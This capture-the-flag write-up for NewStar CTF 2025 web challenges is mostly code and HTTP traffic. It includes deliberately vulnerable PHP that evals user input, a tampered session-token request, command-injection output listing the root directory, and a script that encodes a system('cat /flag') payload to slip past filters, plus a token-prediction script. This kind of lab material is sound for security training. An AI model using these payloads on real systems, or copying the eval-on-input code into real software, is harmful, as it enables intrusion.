NewStar CTF 2025 WP12 Web

1
<?php
2
error_reporting(0);
3

4
function generate_dynamic_flag($secret) {
5
    return getenv("ICQ_FLAG") ?: 'default_flag';
6
}
7

8

9
if (isset($_GET['newstar'])) {
10
    $input = $_GET['newstar'];
11

12
    if (is_array($input)) {
13
        die("恭喜掌握新姿势");
14
    }
15

16

17
    if (preg_match('/[^\d*\/~()\s]/', $input)) {
18
        die("老套路了，行不行啊");
19
    }
20

21

22
    if (preg_match('/^[\d\s]+$/', $input)) {
23
        die("请输入有效的表达式");
24
    }
25

26
    $test = 0;
27
    try {
28
        @eval("\$test = $input;");
29
    } catch (Error $e) {
30
        die("表达式错误");
31
    }
32

33
    if ($test == 2025) {
34
        $flag = generate_dynamic_flag($flag_secret);
35
        echo "<div class='success'>拿下flag！</div>";
36
        echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
37
    } else {
38
        echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
39
    }
40
} else {
41
    ?>
42
<?php } ?>

1
POST /hunt HTTP/1.1
2

3
Host: 192.168.42.1:60152
4

5
Accept: */*
6

7
Origin: http://192.168.42.1:60152
8

9
Accept-Encoding: gzip, deflate
10

11
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiYjBmNzFmOGYtMGFlNy00NDRhLTg0MjAtMDVlMDllODYwNzIzIiwibGV2ZWwiOjF9.GGjj_uyDLSatsFEt4bA1aF4zLj3nbzdWLdmCYOtAMrE
12

13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
14

15
Accept-Language: zh-CN,zh;q=0.9
16

17
Content-Type: application/json
18

19
Referer: http://192.168.42.1:60152/hunt
20

21
Content-Length: 11
22

23

24

25
{"count":1}

1
HTTP/1.1 200 OK
2

3
Server: Werkzeug/3.1.3 Python/3.12.11
4

5
Date: Sat, 11 Apr 2026 12:28:43 GMT
6

7
Content-Type: application/json
8

9
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjoyfQ.Xz7r0_c7lyf1E8iXWszsQBC1c43djRjjWLf5tzWnIok; Path=/
10

11
Connection: close
12

13
Content-Length: 29
14

15

16

17
{"NextLevel":"/Level2_mato"}

1
DELETE /talkToMushroom?shipin=mogubaozi HTTP/1.1
2

3
Host: 192.168.42.1:60152
4

5
Cache-Control: max-age=0
6

7
Origin: http://192.168.42.1:60152
8

9
Upgrade-Insecure-Requests: 1
10

11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
12

13
Accept-Language: zh-CN,zh;q=0.9
14

15
Accept-Encoding: gzip, deflate
16

17
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOYW1lIjoiVHJ1ZSIsImxldmVsIjoyfQ.Xz7r0_c7lyf1E8iXWszsQBC1c43djRjjWLf5tzWnIok
18

19
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
20

21
Content-Type: application/x-www-form-urlencoded
22

23
Referer: http://192.168.42.1:60152/talkToMushroom?shipin=mogubaozi
24

25
Content-Length: 11
26

27

28

29
chongzi

1
PING 127.0.0.1 (127.0.0.1) 1400(1428) bytes of data.
2
1408 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.031 ms
3

4
--- 127.0.0.1 ping statistics ---
5
1 packets transmitted, 1 received, 0% packet loss, time 0ms
6
rtt min/avg/max/mdev = 0.031/0.031/0.031/0.000 ms
7
bin
8
boot
9
dev
10
etc
11
flag
12
home
13
lib
14
lib64
15
media
16
mnt
17
opt
18
proc
19
root
20
run
21
sbin
22
srv
23
sys
24
tmp
25
usr
26
var

1
<?php
2
highlight_file(__FILE__);
3

4
$cipher = $_POST['cipher'] ?? '';
5

6
function atbash($text) {
7
  $result = '';
8
  foreach (str_split($text) as $char) {
9
    if (ctype_alpha($char)) {
10
      $is_upper = ctype_upper($char);
11
      $base = $is_upper ? ord('A') : ord('a');
12
      $offset = ord(strtolower($char)) - ord('a');
13
      $new_char = chr($base + (25 - $offset));
14
      $result .= $new_char;
15
    } else {
16
      $result .= $char;
17
    }
18
  }
19
  return $result;
20
}
21

22
if ($cipher) {
23
  $cipher = base64_decode($cipher);
24
  $encoded = atbash($cipher);
25
  $encoded = str_replace(' ', '', $encoded);
26
  $encoded = str_rot13($encoded);
27
  @eval($encoded);
28
  exit;
29
}
30

31
$question = "真的是签到吗？";
32
$answer = "真的很签到诶！";
33

34
$res =  $question . "<br>" . $answer . "<br>";
35
echo $res . $res . $res . $res . $res;
36

37
?>

1
import base64
2
import codecs
3

4
def atbash(text):
5
    result = ''
6
    for char in text:
7
        if char.isalpha():
8
            is_upper = char.isupper()
9
            base = ord('A') if is_upper else ord('a')
10
            offset = ord(char.lower()) - ord('a')
11
            new_char = chr(base + (25 - offset))
12
            result += new_char
13
        else:
14
            result += char
15
    return result
16

17
def inverse_atbash(text):
18
    result = ''
19
    for char in text:
20
        if char.isalpha():
21
            is_upper = char.isupper()
22
            base = ord('A') if is_upper else ord('a')
23
            offset = ord(char.lower()) - ord('a')
24
            new_char = chr(base + (25 - offset))
25
            result += new_char
26
        else:
27
            result += char
28
    return result
29

30
# 我们最终希望 eval 执行的代码（payload）
31
payload = 'system("cat\\040/flag");'   # 用 \\040 避免空格被提前处理
32

33
print("目标 payload:", payload)
34

35
# 1. rot13(payload) 得到 rot13 之前的字符串
36
before_rot13 = codecs.encode(payload, 'rot_13')
37
print("rot13 前的字符串:", before_rot13)
38

39
# 2. atbash 后的字符串（去空格前）应该产生 above（我们构造时不插入多余空格）
40
atbash_output = before_rot13.replace(' ', '')   # 确保去空格后正确
41

42
# 3. 求 atbash 的输入（即 base64_decode 后的内容）
43
cipher_decoded = inverse_atbash(atbash_output)
44
print("base64_decode 后应得到的字符串:", cipher_decoded)
45

46
# 4. 计算最终的 cipher（base64 编码）
47
cipher = base64.b64encode(cipher_decoded.encode()).decode()
48
print("\n最终需要 POST 的 cipher 值：")
49
print(cipher)
50

51
# 正向验证
52
print("\n=== 正向验证 ===")
53
decoded = base64.b64decode(cipher).decode()
54
after_atbash = atbash(decoded)
55
after_remove_space = after_atbash.replace(' ', '')
56
after_rot13 = codecs.encode(after_remove_space, 'rot_13')
57
print("最终 eval 执行的代码:", after_rot13)
58
print("验证成功:", after_rot13 == payload)

1
HTTP/1.1 200 OK
2

3
Server: Werkzeug/2.3.7 Python/3.12.11
4

5
Date: Sun, 12 Apr 2026 06:48:39 GMT
6

7
Content-Type: application/json
8

9
Vary: Cookie
10

11
Set-Cookie: session=.eJxNy8EKhSAQQNF_mbWL9GGW6_5DpAYTJo1phAfRv1e71veeE-Y1EmFJGLZGknfKyOCNHYxTn3hIZAmSNwSvnbOj660ev8e_Pk6bvjPdzyqgmhIuIRfwwg0VtAO5xNfDVLnCdQNO-ilV.adtARw.KI6gUMOaKTgX_xTynI-Pnz1dHKk; HttpOnly; Path=/
12

13
Connection: close
14

15
Content-Length: 287
16

17

18

19
{
20

21
  "expression": "token = (1775976519 * 25827) ^ 0xc04ab3",
22

23
  "hint": "doro记得这里会在session里面添加验证参数, 也许Set-Cookie可以帮助我们......",
24

25
  "multiplier": 25827,
26

27
  "xor_value": "0xc04ab3"
28

29
}

1
import requests
2
import time
3
BASE_URL = "http://192.168.153.1:9223"
4
LOGIN_SESSION = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.adsLpA.lTV0J_HJbj3H9h-9c58kMhXWZFw"
5
HEADERS = {
6
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
7
    "Content-Type": "application/json",
8
    "Accept": "*/*",
9
    "Origin": BASE_URL,
10
    "Referer": f"{BASE_URL}/home",
11
}
12
session = requests.Session()
13
session.headers.update(HEADERS)
14
session.cookies.update({'session': LOGIN_SESSION})
15
print("[*] 开始挑战流程...")
16
# Step 1: start_challenge
17
start_resp = session.post(f"{BASE_URL}/start_challenge", json={})
18
print(f"[*] start_challenge 状态: {start_resp.status_code}")
19
# 关键：完整接收并更新所有返回的 Cookie（尤其是新的 session）
20
if start_resp.cookies:
21
    old_session = session.cookies.get('session')
22
    session.cookies.update(start_resp.cookies)
23
    new_session = session.cookies.get('session')
24
    print(f"[*] Cookie 已更新 | 新 session: {new_session[:60]}...")
25
data = start_resp.json()
26
print(f"[*] 挑战数据: {data}")
27
# Step 2: 计算 token（使用当前时间戳）
28
multiplier = int(data['multiplier'])
29
xor_val = int(data['xor_value'], 16)
30
current_ts = int(time.time()) # 使用现在的时间
31
token = (current_ts * multiplier) ^ xor_val
32
print(f"[*] 当前时间戳: {current_ts}")
33
print(f"[*] multiplier : {multiplier}")
34
print(f"[*] xor_value : {hex(xor_val)}")
35
print(f"[*] 计算 token : {token}")
36
# Step 3: 立即提交（不要有延迟）
37
print("[*] 正在提交 verify_token...")
38
verify_resp = session.post(f"{BASE_URL}/verify_token", json={"token": token})
39
print(f"[*] 提交状态码: {verify_resp.status_code}")
40
try:
41
    result = verify_resp.json()
42
    print(f"🎉 结果: {result}")
43

44
    if result.get('success') == True or 'flag' in str(result).lower():
45
        print("\n✅ 成功！拿到 FLAG 了！")
46
    else:
47
        print("\n❌ 还是失败 → 建议**立刻**再运行一次脚本（时间很敏感）")
48
except Exception:
49
    print(f"🚨 响应内容: {verify_resp.text}")